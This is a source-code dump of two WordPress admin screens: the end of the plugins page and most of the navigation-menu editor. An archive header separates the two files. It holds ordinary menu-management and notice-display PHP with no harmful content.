		$errmsg = sprintf(__('The plugin generated %d characters of <strong>unexpected output</strong> during activation. If you notice &#8220;headers already sent&#8221; messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.'), $_GET['charsout']);
	else
		$errmsg = __('Plugin could not be activated because it triggered a <strong>fatal error</strong>.');
	?>
	<div id="message" class="error"><p><?php echo $errmsg; ?></p>
	<?php
		if ( ! isset( $_GET['main'] ) && ! isset( $_GET['charsout'] ) && wp_verify_nonce( $_GET['_error_nonce'], 'plugin-activation-error_' . $plugin ) ) {
			$iframe_url = add_query_arg( array(
				'action'   => 'error_scrape',
				'plugin'   => urlencode( $plugin ),
				'_wpnonce' => urlencode( $_GET['_error_nonce'] ),
			), admin_url( 'plugins.php' ) );
		?>
		<iframe style="border:0" width="100%" height="70px" src="<?php echo esc_url( $iframe_url ); ?>"></iframe>
	<?php
		}
	?>
	</div>
<?php elseif ( isset($_GET['deleted']) ) :
		$delete_result = get_transient( 'plugins_delete_result_' . $user_ID );
		// Delete it once we're done.
		delete_transient( 'plugins_delete_result_' . $user_ID );

if ( is_wp_error($delete_result) ) : ?>
		<div id="message" class="error notice is-dismissible"><p><?php printf( __('Plugin could not be deleted due to an error: %s'), $delete_result->get_error_message() ); ?></p></div>
		<?php else : ?>
		<div id="message" class="updated notice is-dismissible">
			<p>
				<?php
				if ( 1 == (int) $_GET['deleted'] ) {
					_e( 'The selected plugin has been <strong>deleted</strong>.' );
				} else {
					_e( 'The selected plugins have been <strong>deleted</strong>.' );
				}
				?>
			</p>
		</div>
		<?php endif; ?>
<?php elseif ( isset($_GET['activate']) ) : ?>
	<div id="message" class="updated notice is-dismissible"><p><?php _e('Plugin <strong>activated</strong>.') ?></p></div>
<?php elseif (isset($_GET['activate-multi'])) : ?>
	<div id="message" class="updated notice is-dismissible"><p><?php _e('Selected plugins <strong>activated</strong>.'); ?></p></div>
<?php elseif ( isset($_GET['deactivate']) ) : ?>
	<div id="message" class="updated notice is-dismissible"><p><?php _e('Plugin <strong>deactivated</strong>.') ?></p></div>
<?php elseif (isset($_GET['deactivate-multi'])) : ?>
	<div id="message" class="updated notice is-dismissible"><p><?php _e('Selected plugins <strong>deactivated</strong>.'); ?></p></div>
<?php elseif ( 'update-selected' == $action ) : ?>
	<div id="message" class="updated notice is-dismissible"><p><?php _e('All selected plugins are up to date.'); ?></p></div>
<?php endif; ?>

<?php
if ( ( ! is_multisite() || is_network_admin() ) && current_user_can('install_plugins') ) { ?>
	<a href="<?php echo self_admin_url( 'plugin-install.php' ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'plugin' ); ?></a>
<?php
}

if ( strlen( $s ) ) {
	/* translators: %s: search keywords */
	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( urldecode( $s ) ) );
}
?>

<?php
/**
 * Fires before the plugins list table is rendered.
 *
 * This hook also fires before the plugins list table is rendered in the Network Admin.
 *
 * Please note: The 'active' portion of the hook name does not refer to whether the current
 * view is for active plugins, but rather all plugins actively-installed.
 *
 * @since 3.0.0
 *
 * @param array $plugins_all An array containing all installed plugins.
 */
do_action( 'pre_current_active_plugins', $plugins['all'] );
?>

<?php $wp_list_table->views(); ?>

<form class="search-form search-plugins" method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Plugins' ), 'plugin' ); ?>
</form>

<?php $wp_list_table->display(); ?>
</form>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

include(ABSPATH . 'wp-admin/admin-footer.php');
PK�������!���d���d���
��nav-menus.phpnu��[�����������<?php
/**
 * WordPress Administration for Navigation Menus
 * Interface functions
 *
 * @version 2.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

// Load all the nav menu interface functions
require_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );

if ( ! current_theme_supports( 'menus' ) && ! current_theme_supports( 'widgets' ) )
	wp_die( __( 'Your theme does not support navigation menus or widgets.' ) );

// Permissions Check
if ( ! current_user_can( 'edit_theme_options' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
		403
	);
}

wp_enqueue_script( 'nav-menu' );

if ( wp_is_mobile() )
	wp_enqueue_script( 'jquery-touch-punch' );

// Container for any messages displayed to the user
$messages = array();

// Container that stores the name of the active menu
$nav_menu_selected_title = '';

// The menu id of the current menu being edited
$nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0;

// Get existing menu locations assignments
$locations = get_registered_nav_menus();
$menu_locations = get_nav_menu_locations();
$num_locations = count( array_keys( $locations ) );

// Allowed actions: add, update, delete
$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'edit';

/*
 * If a JSON blob of navigation menu data is found, expand it and inject it
 * into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134.
 */
_wp_expand_nav_menu_post_data();

switch ( $action ) {
	case 'add-menu-item':
		check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' );
		if ( isset( $_REQUEST['nav-menu-locations'] ) )
			set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) );
		elseif ( isset( $_REQUEST['menu-item'] ) )
			wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] );
		break;
	case 'move-down-menu-item' :

// Moving down a menu item is the same as moving up the next in order.
		check_admin_referer( 'move-menu_item' );
		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;
		if ( is_nav_menu_item( $menu_item_id ) ) {
			$menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
				$menu_id = (int) $menus[0];
				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
				$menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );

// Set up the data we need in one pass through the array of menu items.
				$dbids_to_orders = array();
				$orders_to_dbids = array();
				foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) {
					if ( isset( $ordered_menu_item_object->ID ) ) {
						if ( isset( $ordered_menu_item_object->menu_order ) ) {
							$dbids_to_orders[$ordered_menu_item_object->ID] = $ordered_menu_item_object->menu_order;
							$orders_to_dbids[$ordered_menu_item_object->menu_order] = $ordered_menu_item_object->ID;
						}
					}
				}

// Get next in order.
				if (
					isset( $orders_to_dbids[$dbids_to_orders[$menu_item_id] + 1] )
				) {
					$next_item_id = $orders_to_dbids[$dbids_to_orders[$menu_item_id] + 1];
					$next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) );

// If not siblings of same parent, bubble menu item up but keep order.
					if (
						! empty( $menu_item_data['menu_item_parent'] ) &&
						(
							empty( $next_item_data['menu_item_parent'] ) ||
							$next_item_data['menu_item_parent'] != $menu_item_data['menu_item_parent']
						)
					) {

$parent_db_id = in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids ) ? (int) $menu_item_data['menu_item_parent'] : 0;

$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );

if ( ! is_wp_error( $parent_object ) ) {
							$parent_data = (array) $parent_object;
							$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];
							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );

}

// Make menu item a child of its next sibling.
					} else {
						$next_item_data['menu_order'] = $next_item_data['menu_order'] - 1;
						$menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1;

$menu_item_data['menu_item_parent'] = $next_item_data['ID'];
						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );

wp_update_post($menu_item_data);
						wp_update_post($next_item_data);
					}

// The item is last but still has a parent, so bubble up.
				} elseif (
					! empty( $menu_item_data['menu_item_parent'] ) &&
					in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids )
				) {
					$menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true);
					update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
				}
			}
		}

break;
	case 'move-up-menu-item' :
		check_admin_referer( 'move-menu_item' );
		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;
		if ( is_nav_menu_item( $menu_item_id ) ) {
			$menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
				$menu_id = (int) $menus[0];
				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
				$menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );

// If this menu item is not first.
				if ( ! empty( $dbids_to_orders[$menu_item_id] ) && ! empty( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) ) {

// If this menu item is a child of the previous.
					if (
						! empty( $menu_item_data['menu_item_parent'] ) &&
						in_array( $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ) ) &&
						isset( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) &&
						( $menu_item_data['menu_item_parent'] == $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] )
					) {
						$parent_db_id = in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids ) ? (int) $menu_item_data['menu_item_parent'] : 0;
						$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );

if ( ! is_wp_error( $parent_object ) ) {
							$parent_data = (array) $parent_object;

/*
							 * If there is something before the parent and parent a child of it,
							 * make menu item a child also of it.
							 */
							if (
								! empty( $dbids_to_orders[$parent_db_id] ) &&
								! empty( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1] ) &&
								! empty( $parent_data['menu_item_parent'] )
							) {
								$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];

/*
							 * Else if there is something before parent and parent not a child of it,
							 * make menu item a child of that something's parent
							 */
							} elseif (
								! empty( $dbids_to_orders[$parent_db_id] ) &&
								! empty( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1] )
							) {
								$_possible_parent_id = (int) get_post_meta( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1], '_menu_item_menu_item_parent', true);
								if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ) ) )
									$menu_item_data['menu_item_parent'] = $_possible_parent_id;
								else
									$menu_item_data['menu_item_parent'] = 0;

// Else there isn't something before the parent.
							} else {
								$menu_item_data['menu_item_parent'] = 0;
							}

// Set former parent's [menu_order] to that of menu-item's.
							$parent_data['menu_order'] = $parent_data['menu_order'] + 1;

// Set menu-item's [menu_order] to that of former parent.
							$menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1;

// Save changes.
							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
							wp_update_post($menu_item_data);
							wp_update_post($parent_data);
						}

// Else this menu item is not a child of the previous.
					} elseif (
						empty( $menu_item_data['menu_order'] ) ||
						empty( $menu_item_data['menu_item_parent'] ) ||
						! in_array( $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ) ) ||
						empty( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) ||
						$orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] != $menu_item_data['menu_item_parent']
					) {
						// Just make it a child of the previous; keep the order.
						$menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1];
						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
						wp_update_post($menu_item_data);
					}
				}
			}
		}
		break;

case 'delete-menu-item':
		$menu_item_id = (int) $_REQUEST['menu-item'];

check_admin_referer( 'delete-menu_item_' . $menu_item_id );

if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) )
			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('The menu item has been successfully deleted.') . '</p></div>';
		break;

case 'delete':
		check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id );
		if ( is_nav_menu( $nav_menu_selected_id ) ) {
			$deletion = wp_delete_nav_menu( $nav_menu_selected_id );
		} else {
			// Reset the selected menu.
			$nav_menu_selected_id = 0;
			unset( $_REQUEST['menu'] );
		}

if ( ! isset( $deletion ) )
			break;

if ( is_wp_error( $deletion ) )
			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $deletion->get_error_message() . '</p></div>';
		else
			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'The menu has been successfully deleted.' ) . '</p></div>';
		break;

case 'delete_menus':
		check_admin_referer( 'nav_menus_bulk_actions' );
		foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) {
			if ( ! is_nav_menu( $menu_id_to_delete ) )
				continue;

$deletion = wp_delete_nav_menu( $menu_id_to_delete );
			if ( is_wp_error( $deletion ) ) {
				$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $deletion->get_error_message() . '</p></div>';
				$deletion_error = true;
			}
		}

if ( empty( $deletion_error ) )
			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'Selected menus have been successfully deleted.' ) . '</p></div>';
		break;

case 'update':
		check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' );

// Remove menu locations that have been unchecked.
		foreach ( $locations as $location => $description ) {
			if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) ) && isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] == $nav_menu_selected_id )
				unset( $menu_locations[ $location ] );
		}

// Merge new and existing menu locations if any new ones are set.
		if ( isset( $_POST['menu-locations'] ) ) {
			$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
			$menu_locations = array_merge( $menu_locations, $new_menu_locations );
		}

// Set menu locations.
		set_theme_mod( 'nav_menu_locations', $menu_locations );

// Add Menu.
		if ( 0 == $nav_menu_selected_id ) {
			$new_menu_title = trim( esc_html( $_POST['menu-name'] ) );

if ( $new_menu_title ) {
				$_nav_menu_selected_id = wp_update_nav_menu_object( 0, array('menu-name' => $new_menu_title) );

if ( is_wp_error( $_nav_menu_selected_id ) ) {
					$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $_nav_menu_selected_id->get_error_message() . '</p></div>';
				} else {
					$_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id );
					$nav_menu_selected_id = $_nav_menu_selected_id;
					$nav_menu_selected_title = $_menu_object->name;
					if ( isset( $_REQUEST['menu-item'] ) )
						wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) );
					if ( isset( $_REQUEST['zero-menu-state'] ) ) {
						// If there are menu items, add them
						wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title );
						// Auto-save nav_menu_locations
						$locations = get_nav_menu_locations();
						foreach ( $locations as $location => $menu_id ) {
								$locations[ $location ] = $nav_menu_selected_id;
								break; // There should only be 1
						}
						set_theme_mod( 'nav_menu_locations', $locations );
					}
					if ( isset( $_REQUEST['use-location'] ) ) {
						$locations = get_registered_nav_menus();
						$menu_locations = get_nav_menu_locations();
						if ( isset( $locations[ $_REQUEST['use-location'] ] ) )
							$menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id;
						set_theme_mod( 'nav_menu_locations', $menu_locations );
					}

// $messages[] = '<div id="message" class="updated"><p>' . sprintf( __( '<strong>%s</strong> has been created.' ), $nav_menu_selected_title ) . '</p></div>';
					wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) );
					exit();
				}
			} else {
				$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __( 'Please enter a valid menu name.' ) . '</p></div>';
			}

// Update existing menu.
		} else {

$_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id );

$menu_title = trim( esc_html( $_POST['menu-name'] ) );
			if ( ! $menu_title ) {
				$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __( 'Please enter a valid menu name.' ) . '</p></div>';
				$menu_title = $_menu_object->name;
			}

if ( ! is_wp_error( $_menu_object ) ) {
				$_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) );
				if ( is_wp_error( $_nav_menu_selected_id ) ) {
					$_menu_object = $_nav_menu_selected_id;
					$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $_nav_menu_selected_id->get_error_message() . '</p></div>';
				} else {
					$_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id );
					$nav_menu_selected_title = $_menu_object->name;
				}
			}

// Update menu items.
			if ( ! is_wp_error( $_menu_object ) ) {
				$messages = array_merge( $messages, wp_nav_menu_update_menu_items( $_nav_menu_selected_id, $nav_menu_selected_title ) );

// If the menu ID changed, redirect to the new URL.
				if ( $nav_menu_selected_id != $_nav_menu_selected_id ) {
					wp_redirect( admin_url( 'nav-menus.php?menu=' . intval( $_nav_menu_selected_id ) ) );
					exit();
				}
			}
		}
		break;
	case 'locations':
		if ( ! $num_locations ) {
			wp_redirect( admin_url( 'nav-menus.php' ) );
			exit();
		}

add_filter( 'screen_options_show_screen', '__return_false' );

if ( isset( $_POST['menu-locations'] ) ) {
			check_admin_referer( 'save-menu-locations' );

$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
			$menu_locations = array_merge( $menu_locations, $new_menu_locations );
			// Set menu locations
			set_theme_mod( 'nav_menu_locations', $menu_locations );

$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'Menu locations updated.' ) . '</p></div>';
		}
		break;
}

// Get all nav menus.
$nav_menus = wp_get_nav_menus();
$menu_count = count( $nav_menus );

// Are we on the add new screen?
$add_new_screen = ( isset( $_GET['menu'] ) && 0 == $_GET['menu'] ) ? true : false;

$locations_screen = ( isset( $_GET['action'] ) && 'locations' == $_GET['action'] ) ? true : false;

/*
 * If we have one theme location, and zero menus, we take them right
 * into editing their first menu.
 */
$page_count = wp_count_posts( 'page' );
$one_theme_location_no_menus = ( 1 == count( get_registered_nav_menus() ) && ! $add_new_screen && empty( $nav_menus ) && ! empty( $page_count->publish ) ) ? true : false;

$nav_menus_l10n = array(
	'oneThemeLocationNoMenus' => $one_theme_location_no_menus,
	'moveUp'       => __( 'Move up one' ),
	'moveDown'     => __( 'Move down one' ),
	'moveToTop'    => __( 'Move to the top' ),
	/* translators: %s: previous item name */
	'moveUnder'    => __( 'Move under %s' ),
	/* translators: %s: previous item name */
	'moveOutFrom'  => __( 'Move out from under %s' ),
	/* translators: %s: previous item name */
	'under'        => __( 'Under %s' ),
	/* translators: %s: previous item name */
	'outFrom'      => __( 'Out from under %s' ),
	/* translators: 1: item name, 2: item position, 3: total number of items */
	'menuFocus'    => __( '%1$s. Menu item %2$d of %3$d.' ),
	/* translators: 1: item name, 2: item position, 3: parent item name */
	'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ),
);
wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n );

/*
 * Redirect to add screen if there are no menus and this users has either zero,
 * or more than 1 theme locations.
 */
if ( 0 == $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus )
	wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) );

// Get recently edited nav menu.
$recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) );
if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) )
	$recently_edited = $nav_menu_selected_id;

// Use $recently_edited if none are selected.
if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) )
	$nav_menu_selected_id = $recently_edited;

// On deletion of menu, if another menu exists, show it.
if ( ! $add_new_screen && 0 < $menu_count && isset( $_GET['action'] ) && 'delete' == $_GET['action'] )
	$nav_menu_selected_id = $nav_menus[0]->term_id;

// Set $nav_menu_selected_id to 0 if no menus.
if ( $one_theme_location_no_menus ) {
	$nav_menu_selected_id = 0;
} elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) {
	// if we have no selection yet, and we have menus, set to the first one in the list.
	$nav_menu_selected_id = $nav_menus[0]->term_id;
}

// Update the user's setting.
if ( $nav_menu_selected_id != $recently_edited && is_nav_menu( $nav_menu_selected_id ) )
	update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id );

// If there's a menu, get its name.
if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) {
	$_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id );
	$nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : '';
}

// Generate truncated menu names.
foreach ( (array) $nav_menus as $key => $_nav_menu ) {
	$nav_menus[$key]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '&hellip;' );
}

// Retrieve menu locations.
if ( current_theme_supports( 'menus' ) ) {
	$locations = get_registered_nav_menus();
	$menu_locations = get_nav_menu_locations();
}

/*
 * Ensure the user will be able to scroll horizontally
 * by adding a class for the max menu depth.
 *
 * @global int $_wp_nav_menu_max_depth
 */
global $_wp_nav_menu_max_depth;
$_wp_nav_menu_max_depth = 0;

// Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth.
if ( is_nav_menu( $nav_menu_selected_id ) ) {
	$menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) );
	$edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id );
}

/**
 *
 * @global int $_wp_nav_menu_max_depth
 *
 * @param string $classes
 * @return string
 */
function wp_nav_menu_max_depth( $classes ) {
	global $_wp_nav_menu_max_depth;
	return "$classes menu-max-depth-$_wp_nav_menu_max_depth";
}

add_filter('admin_body_class', 'wp_nav_menu_max_depth');

wp_nav_menu_setup();
wp_initial_nav_menu_meta_boxes();

if ( ! current_theme_supports( 'menus' ) && ! $num_locations )
	$messages[] = '<div id="message" class="updated"><p>' . sprintf( __( 'Your theme does not natively support menus, but you can use them in sidebars by adding a &#8220;Navigation Menu&#8221; widget on the <a href="%s">Widgets</a> screen.' ), admin_url( 'widgets.php' ) ) . '</p></div>';

if ( ! $locations_screen ) : // Main tab
	$overview  = '<p>' . __( 'This screen is used for managing your navigation menus.' ) . '</p>';
	/* translators: 1: Widgets admin screen URL, 2 and 3: The name of the default themes */
	$overview .= '<p>' . sprintf( __( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a &#8220;Navigation Menu&#8221; widget on the <a href="%1$s">Widgets</a> screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the Documentation link to the side.' ), admin_url( 'widgets.php' ), 'Twenty Seventeen', 'Twenty Nineteen' ) . '</p>';
	$overview .= '<p>' . __( 'From this screen you can:' ) . '</p>';
	$overview .= '<ul><li>' . __( 'Create, edit, and delete menus' ) . '</li>';
	$overview .= '<li>' . __( 'Add, organize, and modify individual menu items' ) . '</li></ul>';

get_current_screen()->add_help_tab( array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview
	) );

$menu_management  = '<p>' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '</p>';
	$menu_management .= '<ul><li>' . __( 'To edit an existing menu, <strong>choose a menu from the drop down and click Select</strong>' ) . '</li>';
	$menu_management .= '<li>' . __( 'If you haven&#8217;t yet created any menus, <strong>click the &#8217;create a new menu&#8217; link</strong> to get started' ) . '</li></ul>';
	$menu_management .= '<p>' . __( 'You can assign theme locations to individual menus by <strong>selecting the desired settings</strong> at the bottom of the menu editor. To assign menus to all theme locations at once, <strong>visit the Manage Locations tab</strong> at the top of the screen.' ) . '</p>';

get_current_screen()->add_help_tab( array(
		'id'      => 'menu-management',
		'title'   => __( 'Menu Management' ),
		'content' => $menu_management
	) );

$editing_menus  = '<p>' . __( 'Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '</p>';
	$editing_menus .= '<p>' . __( '<strong>Clicking the arrow to the right of any menu item</strong> in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '</p>';
	$editing_menus .= '<ul><li>' . __( 'Add one or several items at once by <strong>selecting the checkbox next to each item and clicking Add to Menu</strong>' ) . '</li>';
	$editing_menus .= '<li>' . __( 'To add a custom link, <strong>expand the Custom Links section, enter a URL and link text, and click Add to Menu</strong>' ) .'</li>';
	$editing_menus .= '<li>' . __( 'To reorganize menu items, <strong>drag and drop items with your mouse or use your keyboard</strong>. Drag or move a menu item a little to the right to make it a submenu' ) . '</li>';
	$editing_menus .= '<li>' . __( 'Delete a menu item by <strong>expanding it and clicking the Remove link</strong>' ) . '</li></ul>';

get_current_screen()->add_help_tab( array(
		'id'      => 'editing-menus',
		'title'   => __( 'Editing Menus' ),
		'content' => $editing_menus
	) );
else : // Locations Tab.
	$locations_overview  = '<p>' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '</p>';
	$locations_overview .= '<ul><li>' . __( 'To assign menus to one or more theme locations, <strong>select a menu from each location&#8217;s drop down.</strong> When you&#8217;re finished, <strong>click Save Changes</strong>' ) . '</li>';
	$locations_overview .= '<li>' . __( 'To edit a menu currently assigned to a theme location, <strong>click the adjacent &#8217;Edit&#8217; link</strong>' ) . '</li>';
	$locations_overview .= '<li>' . __( 'To add a new menu instead of assigning an existing one, <strong>click the &#8217;Use new menu&#8217; link</strong>. Your new menu will be automatically assigned to that theme location' ) . '</li></ul>';

get_current_screen()->add_help_tab( array(
		'id'      => 'locations-overview',
		'title'   => __( 'Overview' ),
		'content' => $locations_overview
	) );
endif;

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __('For more information:') . '</strong></p>' .
	'<p>' . __('<a href="https://codex.wordpress.org/Appearance_Menus_Screen">Documentation on Menus</a>') . '</p>' .
	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
);

// Get the admin header.
require_once( ABSPATH . 'wp-admin/admin-header.php' );
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php echo esc_html( __( 'Menus' ) ); ?></h1>
	<?php
	if ( current_user_can( 'customize' ) ) :
		$focus = $locations_screen ? array( 'section' => 'menu_locations' ) : array( 'panel' => 'nav_menus' );
		printf(
			' <a class="page-title-action hide-if-no-customize" href="%1$s">%2$s</a>',
			esc_url( add_query_arg( array(
				array( 'autofocus' => $focus ),
				'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ),
			), admin_url( 'customize.php' ) ) ),
			__( 'Manage with Live Preview' )
		);
	endif;
	?>

<h2 class="nav-tab-wrapper wp-clearfix">
		<a href="<?php echo admin_url( 'nav-menus.php' ); ?>" class="nav-tab<?php if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' != $_GET['action'] ) echo ' nav-tab-active'; ?>"><?php esc_html_e( 'Edit Menus' ); ?></a>
		<?php if ( $num_locations && $menu_count ) : ?>
			<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>" class="nav-tab<?php if ( $locations_screen ) echo ' nav-tab-active'; ?>"><?php esc_html_e( 'Manage Locations' ); ?></a>
		<?php
			endif;
		?>
	</h2>
	<?php
	foreach ( $messages as $message ) :
		echo $message . "\n";
	endforeach;
	?>
	<?php
	if ( $locations_screen ) :
		if ( 1 == $num_locations ) {
			echo '<p>' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '</p>';
		} else {
			echo '<p>' .  sprintf( _n( 'Your theme supports %s menu. Select which menu appears in each location.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>';
		}
	?>
	<div id="menu-locations-wrap">
		<form method="post" action="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>">
			<table class="widefat fixed" id="menu-locations-table">
				<thead>
				<tr>
					<th scope="col" class="manage-column column-locations"><?php _e( 'Theme Location' ); ?></th>
					<th scope="col" class="manage-column column-menus"><?php _e( 'Assigned Menu' ); ?></th>
				</tr>
				</thead>
				<tbody class="menu-locations">
				<?php foreach ( $locations as $_location => $_name ) { ?>
					<tr class="menu-locations-row">
						<td class="menu-location-title"><label for="locations-<?php echo $_location; ?>"><?php echo $_name; ?></label></td>
						<td class="menu-location-menus">
							<select name="menu-locations[<?php echo $_location; ?>]" id="locations-<?php echo $_location; ?>">
								<option value="0"><?php printf( '&mdash; %s &mdash;', esc_html__( 'Select a Menu' ) ); ?></option>
								<?php foreach ( $nav_menus as $menu ) : ?>
									<?php $selected = isset( $menu_locations[$_location] ) && $menu_locations[$_location] == $menu->term_id; ?>
									<option <?php if ( $selected ) echo 'data-orig="true"'; ?> <?php selected( $selected ); ?> value="<?php echo $menu->term_id; ?>">
										<?php echo wp_html_excerpt( $menu->name, 40, '&hellip;' ); ?>
									</option>
								<?php endforeach; ?>
							</select>
							<div class="locations-row-links">
								<?php if ( isset( $menu_locations[ $_location ] ) && 0 != $menu_locations[ $_location ] ) : ?>
								<span class="locations-edit-menu-link">
